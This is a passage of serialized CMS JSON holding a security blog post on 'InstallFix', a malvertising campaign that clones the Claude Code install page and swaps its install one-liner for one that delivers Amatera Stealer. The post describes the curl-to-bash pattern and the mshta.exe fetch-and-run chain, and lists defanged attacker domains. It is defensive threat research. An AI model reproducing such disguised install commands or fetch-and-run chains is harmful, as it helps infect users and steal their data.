"nodeType":865},{},[69229],{"type":926},{"data":69231,"content":69232,"nodeType":866},{},[69233],{"data":69234,"marks":69235,"value":53528,"nodeType":865},{},[69236,69237],{"type":926},{"type":943},{"data":69239,"content":69240,"nodeType":866},{},[69241],{"data":69242,"marks":69243,"value":53535,"nodeType":865},{},[],{"data":69245,"content":69246,"nodeType":1616},{},[69247,69260,69273],{"data":69248,"content":69249,"nodeType":1570},{},[69250],{"data":69251,"content":69252,"nodeType":866},{},[69253,69257],{"data":69254,"marks":69255,"value":53549,"nodeType":865},{},[69256],{"type":926},{"data":69258,"marks":69259,"value":53553,"nodeType":865},{},[],{"data":69261,"content":69262,"nodeType":1570},{},[69263],{"data":69264,"content":69265,"nodeType":866},{},[69266,69270],{"data":69267,"marks":69268,"value":53564,"nodeType":865},{},[69269],{"type":926},{"data":69271,"marks":69272,"value":53568,"nodeType":865},{},[],{"data":69274,"content":69275,"nodeType":1570},{},[69276],{"data":69277,"content":69278,"nodeType":866},{},[69279,69283,69286,69292],{"data":69280,"marks":69281,"value":53579,"nodeType":865},{},[69282],{"type":926},{"data":69284,"marks":69285,"value":53583,"nodeType":865},{},[],{"data":69287,"content":69288,"nodeType":889},{"uri":40710},[69289],{"data":69290,"marks":69291,"value":53590,"nodeType":865},{},[],{"data":69293,"marks":69294,"value":53594,"nodeType":865},{},[],{"data":69296,"content":69299,"nodeType":912},{"target":69297},{"sys":69298},{"id":53599,"type":909,"linkType":910},[],{"data":69301,"content":69302,"nodeType":972},{},[],{"data":69304,"content":69305,"nodeType":1317},{},[69306],{"data":69307,"marks":69308,"value":699,"nodeType":865},{},[69309],{"type":926},{"data":69311,"content":69312,"nodeType":866},{},[69313],{"data":69314,"marks":69315,"value":53619,"nodeType":865},{},[69316,69317],{"type":926},{"type":943},{"data":69319,"content":69320,"nodeType":866},{},[69321],{"data":69322,"marks":69323,"value":53626,"nodeType":865},{},[],{"data":69325,"content":69328,"nodeType":912},{"target":69326},{"sys":69327},{"id":53631,"type":909,"linkType":910},[],{"data":69330,"content":69331,"nodeType":972},{},[],{"data":69333,"content":69334,"nodeType":981},{},[69335],{"data":69336,"marks":69337,"value":14026,"nodeType":865},{},[69338],{"type":926},{"data":69340,"content":69341,"nodeType":866},{},[69342],{"data":69343,"marks":69344,"value":53649,"nodeType":865},{},[],{"data":69346,"content":69347,"nodeType":866},{},[69348],{"data":69349,"marks":69350,"value":53656,"nodeType":865},{},[],{"data":69352,"content":69353,"nodeType":1616},{},[69354,69373,69392],{"data":69355,"content":69356,"nodeType":1570},{},[69357],{"data":69358,"content":69359,"nodeType":866},{},[69360,69363,69370],{"data":69361,"marks":69362,"value":53669,"nodeType":865},{},[],{"data":69364,"content":69365,"nodeType":889},{"uri":53672},[69366],{"data":69367,"marks":69368,"value":8641,"nodeType":865},{},[69369],{"type":943},{"data":69371,"marks":69372,"value":53681,"nodeType":865},{},[],{"data":69374,"content":69375,"nodeType":1570},{},[69376],{"data":69377,"content":69378,"nodeType":866},{},[69379,69382,69389],{"data":69380,"marks":69381,"value":53691,"nodeType":865},{},[],{"data":69383,"content":69384,"nodeType":889},{"uri":53694},[69385],{"data":69386,"marks":69387,"value":53700,"nodeType":865},{},[69388],{"type":943},{"data":69390,"marks":69391,"value":53681,"nodeType":865},{},[],{"data":69393,"content":69394,"nodeType":1570},{},[69395],{"data":69396,"content":69397,"nodeType":866},{},[69398,69401,69408],{"data":69399,"marks":69400,"value":53713,"nodeType":865},{},[],{"data":69402,"content":69403,"nodeType":889},{"uri":1063},[69404],{"data":69405,"marks":69406,"value":53721,"nodeType":865},{},[69407],{"type":943},{"data":69409,"marks":69410,"value":53681,"nodeType":865},{},[],{"data":69412,"content":69413,"nodeType":866},{},[69414],{"data":69415,"marks":69416,"value":53731,"nodeType":865},{},[],{"data":69418,"content":69419,"nodeType":1616},{},[69420,69433,69446,69459],{"data":69421,"content":69422,"nodeType":1570},{},[69423],{"data":69424,"content":69425,"nodeType":866},{},[69426,69430],{"data":69427,"marks":69428,"value":53745,"nodeType":865},{},[69429],{"type":926},{"data":69431,"marks":69432,"value":53749,"nodeType":865},{},[],{"data":69434,"content":69435,"nodeType":1570},{},[69436],{"data":69437,"content":69438,"nodeType":866},{},[69439,69443],{"data":69440,"marks":69441,"value":53760,"nodeType":865},{},[69442],{"type":926},{"data":69444,"marks":69445,"value":53764,"nodeType":865},{},[],{"data":69447,"content":69448,"nodeType":1570},{},[69449],{"data":69450,"content":69451,"nodeType":866},{},[69452,69456],{"data":69453,"marks":69454,"value":53775,"nodeType":865},{},[69455],{"type":926},{"data":69457,"marks":69458,"value":53779,"nodeType":865},{},[],{"data":69460,"content":69461,"nodeType":1570},{},[69462],{"data":69463,"content":69464,"nodeType":866},{},[69465,69469],{"data":69466,"marks":69467,"value":53790,"nodeType":865},{},[69468],{"type":926},{"data":69470,"marks":69471,"value":53794,"nodeType":865},{},[],{"data":69473,"content":69474,"nodeType":866},{},[69475],{"data":69476,"marks":69477,"value":53801,"nodeType":865},{},[],{"data":69479,"content":69480,"nodeType":972},{},[],{"data":69482,"content":69483,"nodeType":981},{},[69484],{"data":69485,"marks":69486,"value":53812,"nodeType":865},{},[69487],{"type":926},{"data":69489,"content":69490,"nodeType":866},{},[69491],{"data":69492,"marks":69493,"value":53819,"nodeType":865},{},[],{"data":69495,"content":69496,"nodeType":866},{},[69497],{"data":69498,"marks":69499,"value":53826,"nodeType":865},{},[],{"data":69501,"content":69504,"nodeType":912},{"target":69502},{"sys":69503},{"id":53831,"type":909,"linkType":910},[],{"data":69506,"content":69507,"nodeType":972},{},[],{"data":69509,"content":69510,"nodeType":981},{},[69511],{"data":69512,"marks":69513,"value":6331,"nodeType":865},{},[69514],{"type":926},{"data":69516,"content":69517,"nodeType":866},{},[69518],{"data":69519,"marks":69520,"value":53849,"nodeType":865},{},[],{"data":69522,"content":69523,"nodeType":866},{},[69524],{"data":69525,"marks":69526,"value":53856,"nodeType":865},{},[],{"data":69528,"content":69529,"nodeType":866},{},[69530],{"data":69531,"marks":69532,"value":53863,"nodeType":865},{},[],{"data":69534,"content":69535,"nodeType":866},{},[69536,69539,69546,69549,69556],{"data":69537,"marks":69538,"value":11372,"nodeType":865},{},[],{"data":69540,"content":69541,"nodeType":889},{"uri":11375},[69542],{"data":69543,"marks":69544,"value":11381,"nodeType":865},{},[69545],{"type":943},{"data":69547,"marks":69548,"value":53880,"nodeType":865},{},[],{"data":69550,"content":69551,"nodeType":889},{"uri":1372},[69552],{"data":69553,"marks":69554,"value":11405,"nodeType":865},{},[69555],{"type":943},{"data":69557,"marks":69558,"value":1615,"nodeType":865},{},[],{"items":69560},[69561,69563],{"sys":69562,"name":7796},{"id":7795},{"sys":69564,"name":342},{"id":4642},{"items":69566},[69567],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":69568},{"url":7804},{"__typename":1429,"sys":69570,"content":69571,"title":36694,"synopsis":70565,"hashTags":59,"publishedDate":70566,"slug":36695,"tagsCollection":70567,"authorsCollection":70573},{"id":33657},{"json":69572},{"data":69573,"content":69574,"nodeType":1382},{},[69575,69581,69588,69595,69603,69618,69624,69627,69635,69642,69649,69656,69663,69670,69677,69684,69691,69697,69703,69710,69716,69723,69730,69736,69742,69748,69754,69773,69785,69792,69798,69805,69812,69845,69852,69860,69867,69873,69880,69886,69893,69910,69917,69920,69928,69935,70030,70037,70043,70046,70054,70060,70067,70074,70111,70114,70121,70137,70144,70152,70362,70370,70403,70411,70420,70426,70434,70440,70448,70459,70467,70473,70481,70492,70500,70508,70516,70524,70531,70539,70550,70557],{"data":69576,"content":69580,"nodeType":912},{"target":69577},{"sys":69578},{"id":69579,"type":909,"linkType":910},"38JCcRQe2tN9ooHGwreoF5",[],{"data":69582,"content":69583,"nodeType":866},{},[69584],{"data":69585,"marks":69586,"value":69587,"nodeType":865},{},[],"There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.",{"data":69589,"content":69590,"nodeType":866},{},[69591],{"data":69592,"marks":69593,"value":69594,"nodeType":865},{},[],"But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to \"trust the domain.\" And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of users.",{"data":69596,"content":69597,"nodeType":866},{},[69598],{"data":69599,"marks":69600,"value":69602,"nodeType":865},{},[69601],{"type":926},"It’s not hard to see how attackers can exploit this. ",{"data":69604,"content":69605,"nodeType":866},{},[69606,69610,69614],{"data":69607,"marks":69608,"value":69609,"nodeType":865},{},[],"We're tracking a technique we're calling ",{"data":69611,"marks":69612,"value":8158,"nodeType":865},{},[69613],{"type":926},{"data":69615,"marks":69616,"value":69617,"nodeType":865},{},[],": a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.",{"data":69619,"content":69623,"nodeType":912},{"target":69620},{"sys":69621},{"id":69622,"type":909,"linkType":910},"6VMkuQkU5L0vObxIojI1Xw",[],{"data":69625,"content":69626,"nodeType":972},{},[],{"data":69628,"content":69629,"nodeType":981},{},[69630],{"data":69631,"marks":69632,"value":69634,"nodeType":865},{},[69633],{"type":926},"InstallFix Claude Code campaign teardown",{"data":69636,"content":69637,"nodeType":866},{},[69638],{"data":69639,"marks":69640,"value":69641,"nodeType":865},{},[],"All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. ",{"data":69643,"content":69644,"nodeType":866},{},[69645],{"data":69646,"marks":69647,"value":69648,"nodeType":865},{},[],"In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. ",{"data":69650,"content":69651,"nodeType":1317},{},[69652],{"data":69653,"marks":69654,"value":69655,"nodeType":865},{},[],"A new campaign targeting Claude Code",{"data":69657,"content":69658,"nodeType":866},{},[69659],{"data":69660,"marks":69661,"value":69662,"nodeType":865},{},[],"We've recently observed a campaign that puts this technique into practice against one of the fastest-growing developer tools on the market: Anthropic's Claude Code.",{"data":69664,"content":69665,"nodeType":866},{},[69666],{"data":69667,"marks":69668,"value":69669,"nodeType":865},{},[],"Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. ",{"data":69671,"content":69672,"nodeType":866},{},[69673],{"data":69674,"marks":69675,"value":69676,"nodeType":865},{},[],"The attacker's approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. ",{"data":69678,"content":69679,"nodeType":866},{},[69680],{"data":69681,"marks":69682,"value":69683,"nodeType":865},{},[],"Unless you’re carefully reading the URL embedded in the install one-liner (and let's be honest, almost nobody does these days), the page is indistinguishable from the real one.",{"data":69685,"content":69686,"nodeType":866},{},[69687],{"data":69688,"marks":69689,"value":69690,"nodeType":865},{},[],"You can see a video of a user being served a malicious InstallFix page below.",{"data":69692,"content":69696,"nodeType":912},{"target":69693},{"sys":69694},{"id":69695,"type":909,"linkType":910},"1dhirnghbpAwyCse8cjAas",[],{"data":69698,"content":69702,"nodeType":912},{"target":69699},{"sys":69700},{"id":69701,"type":909,"linkType":910},"5TBnCFM4Y5CoqKPchHDpyv",[],{"data":69704,"content":69705,"nodeType":866},{},[69706],{"data":69707,"marks":69708,"value":69709,"nodeType":865},{},[],"Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. ",{"data":69711,"content":69715,"nodeType":912},{"target":69712},{"sys":69713},{"id":69714,"type":909,"linkType":910},"5g3joJSAP8y8xv2bKaLGe2",[],{"data":69717,"content":69718,"nodeType":1317},{},[69719],{"data":69720,"marks":69721,"value":69722,"nodeType":865},{},[],"Distribution via Google Ads",{"data":69724,"content":69725,"nodeType":866},{},[69726],{"data":69727,"marks":69728,"value":69729,"nodeType":865},{},[],"The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like \"Claude Code\", \"Claude Code install\", or \"Claude Code CLI.\"",{"data":69731,"content":69735,"nodeType":912},{"target":69732},{"sys":69733},{"id":69734,"type":909,"linkType":910},"3CTtrOy3q8NoMblxkLlTer",[],{"data":69737,"content":69741,"nodeType":912},{"target":69738},{"sys":69739},{"id":69740,"type":909,"linkType":910},"4m5rg9UhRQK0e8OfYFlIUc",[],{"data":69743,"content":69747,"nodeType":912},{"target":69744},{"sys":69745},{"id":69746,"type":909,"linkType":910},"25lAkq9tTZ2Mq52gs6xR8G",[],{"data":69749,"content":69753,"nodeType":912},{"target":69750},{"sys":69751},{"id":69752,"type":909,"linkType":910},"4f4svuW3tjhNc3kEfCwNRG",[],{"data":69755,"content":69756,"nodeType":866},{},[69757,69761,69769],{"data":69758,"marks":69759,"value":69760,"nodeType":865},{},[],"Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There's no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are ",{"data":69762,"content":69763,"nodeType":889},{"uri":5852},[69764],{"data":69765,"marks":69766,"value":69768,"nodeType":865},{},[69767],{"type":943},"doubling down on targeting ad manager accounts",{"data":69770,"marks":69771,"value":69772,"nodeType":865},{},[]," to be able to hijack existing ad budgets and spin up even more malicious ads.",{"data":69774,"content":69775,"nodeType":866},{},[69776,69781],{"data":69777,"marks":69778,"value":69780,"nodeType":865},{},[69779],{"type":926},"The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing",{"data":69782,"marks":69783,"value":69784,"nodeType":865},{},[],", without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you've got sufficient intel on your target, you can tailor the ad accordingly. ",{"data":69786,"content":69787,"nodeType":866},{},[69788],{"data":69789,"marks":69790,"value":69791,"nodeType":865},{},[],"Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.",{"data":69793,"content":69797,"nodeType":912},{"target":69794},{"sys":69795},{"id":69796,"type":909,"linkType":910},"4Ihz5BcRK0NDVy0ANg2PWe",[],{"data":69799,"content":69800,"nodeType":1317},{},[69801],{"data":69802,"marks":69803,"value":69804,"nodeType":865},{},[],"The payload",{"data":69806,"content":69807,"nodeType":866},{},[69808],{"data":69809,"marks":69810,"value":69811,"nodeType":865},{},[],"The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:",{"data":69813,"content":69814,"nodeType":1616},{},[69815,69825,69835],{"data":69816,"content":69817,"nodeType":1570},{},[69818],{"data":69819,"content":69820,"nodeType":866},{},[69821],{"data":69822,"marks":69823,"value":69824,"nodeType":865},{},[],"cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude",{"data":69826,"content":69827,"nodeType":1570},{},[69828],{"data":69829,"content":69830,"nodeType":866},{},[69831],{"data":69832,"marks":69833,"value":69834,"nodeType":865},{},[],"mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain",{"data":69836,"content":69837,"nodeType":1570},{},[69838],{"data":69839,"content":69840,"nodeType":866},{},[69841],{"data":69842,"marks":69843,"value":69844,"nodeType":865},{},[],"conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output",{"data":69846,"content":69847,"nodeType":866},{},[69848],{"data":69849,"marks":69850,"value":69851,"nodeType":865},{},[],"The MacOS payload also uses additional encoding and staged execution layers.",{"data":69853,"content":69854,"nodeType":866},{},[69855],{"data":69856,"marks":69857,"value":69859,"nodeType":865},{},[69858],{"type":926},"You can see the full list of IoCs at the end of the blog.   ",{"data":69861,"content":69862,"nodeType":866},{},[69863],{"data":69864,"marks":69865,"value":69866,"nodeType":865},{},[],"Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.",{"data":69868,"content":69872,"nodeType":912},{"target":69869},{"sys":69870},{"id":69871,"type":909,"linkType":910},"TXcSp34sIAOKIXlKT4Lb0",[],{"data":69874,"content":69875,"nodeType":866},{},[69876],{"data":69877,"marks":69878,"value":69879,"nodeType":865},{},[],"Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign. ",{"data":69881,"content":69885,"nodeType":912},{"target":69882},{"sys":69883},{"id":69884,"type":909,"linkType":910},"3ExLtcl6df07BcKPsGZn42",[],{"data":69887,"content":69888,"nodeType":1317},{},[69889],{"data":69890,"marks":69891,"value":69892,"nodeType":865},{},[],"Abusing legitimate hosting services",{"data":69894,"content":69895,"nodeType":866},{},[69896,69900,69907],{"data":69897,"marks":69898,"value":69899,"nodeType":865},{},[],"Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core ",{"data":69901,"content":69902,"nodeType":889},{"uri":8862},[69903],{"data":69904,"marks":69905,"value":37925,"nodeType":865},{},[69906],{"type":943},{"data":69908,"marks":69909,"value":14251,"nodeType":865},{},[],{"data":69911,"content":69912,"nodeType":866},{},[69913],{"data":69914,"marks":69915,"value":69916,"nodeType":865},{},[],"In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. ",{"data":69918,"content":69919,"nodeType":972},{},[],{"data":69921,"content":69922,"nodeType":981},{},[69923],{"data":69924,"marks":69925,"value":69927,"nodeType":865},{},[69926],{"type":926},"A broader trend",{"data":69929,"content":69930,"nodeType":866},{},[69931],{"data":69932,"marks":69933,"value":69934,"nodeType":865},{},[],"This isn't happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:",{"data":69936,"content":69937,"nodeType":1616},{},[69938,69961,69984,70007],{"data":69939,"content":69940,"nodeType":1570},{},[69941],{"data":69942,"content":69943,"nodeType":866},{},[69944,69947,69957],{"data":69945,"marks":69946,"value":21,"nodeType":865},{},[],{"data":69948,"content":69950,"nodeType":889},{"uri":69949},"https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/",[69951],{"data":69952,"marks":69953,"value":69956,"nodeType":865},{},[69954,69955],{"type":943},{"type":926},"Fake Claude artifacts used in traditional ClickFix lures",{"data":69958,"marks":69959,"value":69960,"nodeType":865},{},[],": Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain's trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.",{"data":69962,"content":69963,"nodeType":1570},{},[69964],{"data":69965,"content":69966,"nodeType":866},{},[69967,69970,69980],{"data":69968,"marks":69969,"value":21,"nodeType":865},{},[],{"data":69971,"content":69973,"nodeType":889},{"uri":69972},"https://hunt.io/blog/fake-homebrew-clickfix-cuckoo-stealer-macos",[69974],{"data":69975,"marks":69976,"value":69979,"nodeType":865},{},[69977,69978],{"type":943},{"type":926},"Fake Homebrew installation pages",{"data":69981,"marks":69982,"value":69983,"nodeType":865},{},[],": Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same \"copy this install command\" mechanic.",{"data":69985,"content":69986,"nodeType":1570},{},[69987],{"data":69988,"content":69989,"nodeType":866},{},[69990,69993,70003],{"data":69991,"marks":69992,"value":21,"nodeType":865},{},[],{"data":69994,"content":69996,"nodeType":889},{"uri":69995},"https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer",[69997],{"data":69998,"marks":69999,"value":70002,"nodeType":865},{},[70000,70001],{"type":943},{"type":926},"Fake OpenClaw installers on GitHub",{"data":70004,"marks":70005,"value":70006,"nodeType":865},{},[],": Malicious repositories impersonating the popular AI agent tool, boosted by Bing's AI search results, delivering infostealers and the GhostSocks proxy malware.",{"data":70008,"content":70009,"nodeType":1570},{},[70010],{"data":70011,"content":70012,"nodeType":866},{},[70013,70016,70026],{"data":70014,"marks":70015,"value":21,"nodeType":865},{},[],{"data":70017,"content":70019,"nodeType":889},{"uri":70018},"https://thehackernews.com/2026/02/malicious-npm-packages-harvest-crypto.html",[70020],{"data":70021,"marks":70022,"value":70025,"nodeType":865},{},[70023,70024],{"type":943},{"type":926},"Trojanised npm packages",{"data":70027,"marks":70028,"value":70029,"nodeType":865},{},[],": Malicious packages mimicking Claude Code's official npm package name, targeting developers who might make a typo or trust an unofficial source.",{"data":70031,"content":70032,"nodeType":866},{},[70033],{"data":70034,"marks":70035,"value":70036,"nodeType":865},{},[],"But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. ",{"data":70038,"content":70042,"nodeType":912},{"target":70039},{"sys":70040},{"id":70041,"type":909,"linkType":910},"6fbQRdi1xXzMOmYTcAGDLc",[],{"data":70044,"content":70045,"nodeType":972},{},[],{"data":70047,"content":70048,"nodeType":1317},{},[70049],{"data":70050,"marks":70051,"value":70053,"nodeType":865},{},[70052],{"type":926},"How Push detects InstallFix",{"data":70055,"content":70056,"nodeType":866},{},[70057],{"data":70058,"marks":70059,"value":68582,"nodeType":865},{},[],{"data":70061,"content":70062,"nodeType":866},{},[70063],{"data":70064,"marks":70065,"value":70066,"nodeType":865},{},[],"Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.",{"data":70068,"content":70069,"nodeType":866},{},[70070],{"data":70071,"marks":70072,"value":70073,"nodeType":865},{},[],"Because Push detects threats directly in the browser, it doesn't matter that the attack came from a Google Search ad rather than an email. There's no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.",{"data":70075,"content":70076,"nodeType":866},{},[70077,70081,70088,70091,70098,70101,70108],{"data":70078,"marks":70079,"value":70080,"nodeType":865},{},[],"To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, ",{"data":70082,"content":70083,"nodeType":889},{"uri":11375},[70084],{"data":70085,"marks":70086,"value":11381,"nodeType":865},{},[70087],{"type":943},{"data":70089,"marks":70090,"value":2717,"nodeType":865},{},[],{"data":70092,"content":70093,"nodeType":889},{"uri":11387},[70094],{"data":70095,"marks":70096,"value":61587,"nodeType":865},{},[70097],{"type":943},{"data":70099,"marks":70100,"value":11397,"nodeType":865},{},[],{"data":70102,"content":70103,"nodeType":889},{"uri":1372},[70104],{"data":70105,"marks":70106,"value":11405,"nodeType":865},{},[70107],{"type":943},{"data":70109,"marks":70110,"value":1615,"nodeType":865},{},[],{"data":70112,"content":70113,"nodeType":972},{},[],{"data":70115,"content":70116,"nodeType":981},{},[70117],{"data":70118,"marks":70119,"value":67181,"nodeType":865},{},[70120],{"type":926},{"data":70122,"content":70123,"nodeType":866},{},[70124,70127,70134],{"data":70125,"marks":70126,"value":38039,"nodeType":865},{},[],{"data":70128,"content":70129,"nodeType":889},{"uri":38042},[70130],{"data":70131,"marks":70132,"value":38047,"nodeType":865},{},[70133],{"type":943},{"data":70135,"marks":70136,"value":38051,"nodeType":865},{},[],{"data":70138,"content":70139,"nodeType":866},{},[70140],{"data":70141,"marks":70142,"value":70143,"nodeType":865},{},[],"This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:",{"data":70145,"content":70146,"nodeType":866},{},[70147],{"data":70148,"marks":70149,"value":70151,"nodeType":865},{},[70150],{"type":926},"Cloned domains:",{"data":70153,"content":70154,"nodeType":1616},{},[70155,70165,70175,70185,70195,70205,70214,70224,70234,70243,70253,70263,70273,70283,70293,70303,70313,70322,70332,70342,70352],{"data":70156,"content":70157,"nodeType":1570},{},[70158],{"data":70159,"content":70160,"nodeType":866},{},[70161],{"data":70162,"marks":70163,"value":70164,"nodeType":865},{},[],"claud-code[.]pages[.]dev",{"data":70166,"content":70167,"nodeType":1570},{},[70168],{"data":70169,"content":70170,"nodeType":866},{},[70171],{"data":70172,"marks":70173,"value":70174,"nodeType":865},{},[],"claulastver[.]squarespace[.]com",{"data":70176,"content":70177,"nodeType":1570},{},[70178],{"data":70179,"content":70180,"nodeType":866},{},[70181],{"data":70182,"marks":70183,"value":70184,"nodeType":865},{},[],"claudecode-developers[.]squarespace[.]com",{"data":70186,"content":70187,"nodeType":1570},{},[70188],{"data":70189,"content":70190,"nodeType":866},{},[70191],{"data":70192,"marks":70193,"value":70194,"nodeType":865},{},[],"hgjbulk.pages[.]dev",{"data":70196,"content":70197,"nodeType":1570},{},[70198],{"data":70199,"content":70200,"nodeType":866},{},[70201],{"data":70202,"marks":70203,"value":70204,"nodeType":865},{},[],"jhgyuifyfiguohi[.]pages[.]dev",{"data":70206,"content":70207,"nodeType":1570},{},[70208],{"data":70209,"content":70210,"nodeType":866},{},[70211],{"data":70212,"marks":70213,"value":70194,"nodeType":865},{},[],{"data":70215,"content":70216,"nodeType":1570},{},[70217],{"data":70218,"content":70219,"nodeType":866},{},[70220],{"data":70221,"marks":70222,"value":70223,"nodeType":865},{},[],"claude-code-install[.]squarespace[.]com",{"data":70225,"content":70226,"nodeType":1570},{},[70227],{"data":70228,"content":70229,"nodeType":866},{},[70230],{"data":70231,"marks":70232,"value":70233,"nodeType":865},{},[],"claude-code-docs-site[.]pages[.]dev",{"data":70235,"content":70236,"nodeType":1570},{},[70237],{"data":70238,"content":70239,"nodeType":866},{},[70240],{"data":70241,"marks":70242,"value":70174,"nodeType":865},{},[],{"data":70244,"content":70245,"nodeType":1570},{},[70246],{"data":70247,"content":70248,"nodeType":866},{},[70249],{"data":70250,"marks":70251,"value":70252,"nodeType":865},{},[],"cladueall[.]pages[.]dev",{"data":70254,"content":70255,"nodeType":1570},{},[70256],{"data":70257,"content":70258,"nodeType":866},{},[70259],{"data":70260,"marks":70261,"value":70262,"nodeType":865},{},[],"claude-code-docs-dvlr2jpuuw[.]edgeone[.]app",{"data":70264,"content":70265,"nodeType":1570},{},[70266],{"data":70267,"content":70268,"nodeType":866},{},[70269],{"data":70270,"marks":70271,"value":70272,"nodeType":865},{},[],"myclauda[.]it[.]com",{"data":70274,"content":70275,"nodeType":1570},{},[70276],{"data":70277,"content":70278,"nodeType":866},{},[70279],{"data":70280,"marks":70281,"value":70282,"nodeType":865},{},[],"vdsafsaf[.]it[.]com",{"data":70284,"content":70285,"nodeType":1570},{},[70286],{"data":70287,"content":70288,"nodeType":866},{},[70289],{"data":70290,"marks":70291,"value":70292,"nodeType":865},{},[],"asdasdasdadsvvvvv[.]pages[.]dev/",{"data":70294,"content":70295,"nodeType":1570},{},[70296],{"data":70297,"content":70298,"nodeType":866},{},[70299],{"data":70300,"marks":70301,"value":70302,"nodeType":865},{},[],"nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev",{"data":70304,"content":70305,"nodeType":1570},{},[70306],{"data":70307,"content":70308,"nodeType":866},{},[70309],{"data":70310,"marks":70311,"value":70312,"nodeType":865},{},[],"claude-code-macos[.]com",{"data":70314,"content":70315,"nodeType":1570},{},[70316],{"data":70317,"content":70318,"nodeType":866},{},[70319],{"data":70320,"marks":70321,"value":70233,"nodeType":865},{},[],{"data":70323,"content":70324,"nodeType":1570},{},[70325],{"data":70326,"content":70327,"nodeType":866},{},[70328],{"data":70329,"marks":70330,"value":70331,"nodeType":865},{},[],"claude-code-update[.]squarespace[.]com",{"data":70333,"content":70334,"nodeType":1570},{},[70335],{"data":70336,"content":70337,"nodeType":866},{},[70338],{"data":70339,"marks":70340,"value":70341,"nodeType":865},{},[],"claudecodeupdate[.]squarespace[.]com",{"data":70343,"content":70344,"nodeType":1570},{},[70345],{"data":70346,"content":70347,"nodeType":866},{},[70348],{"data":70349,"marks":70350,"value":70351,"nodeType":865},{},[],"notebooklm-version-upd[.]squarespace[.]com",{"data":70353,"content":70354,"nodeType":1570},{},[70355],{"data":70356,"content":70357,"nodeType":866},{},[70358],{"data":70359,"marks":70360,"value":70361,"nodeType":865},{},[],"notklmalans[.]pages[.]dev",{"data":70363,"content":70364,"nodeType":866},{},[70365],{"data":70366,"marks":70367,"value":70369,"nodeType":865},{},[70368],{"type":926},"Domains hosting malicious 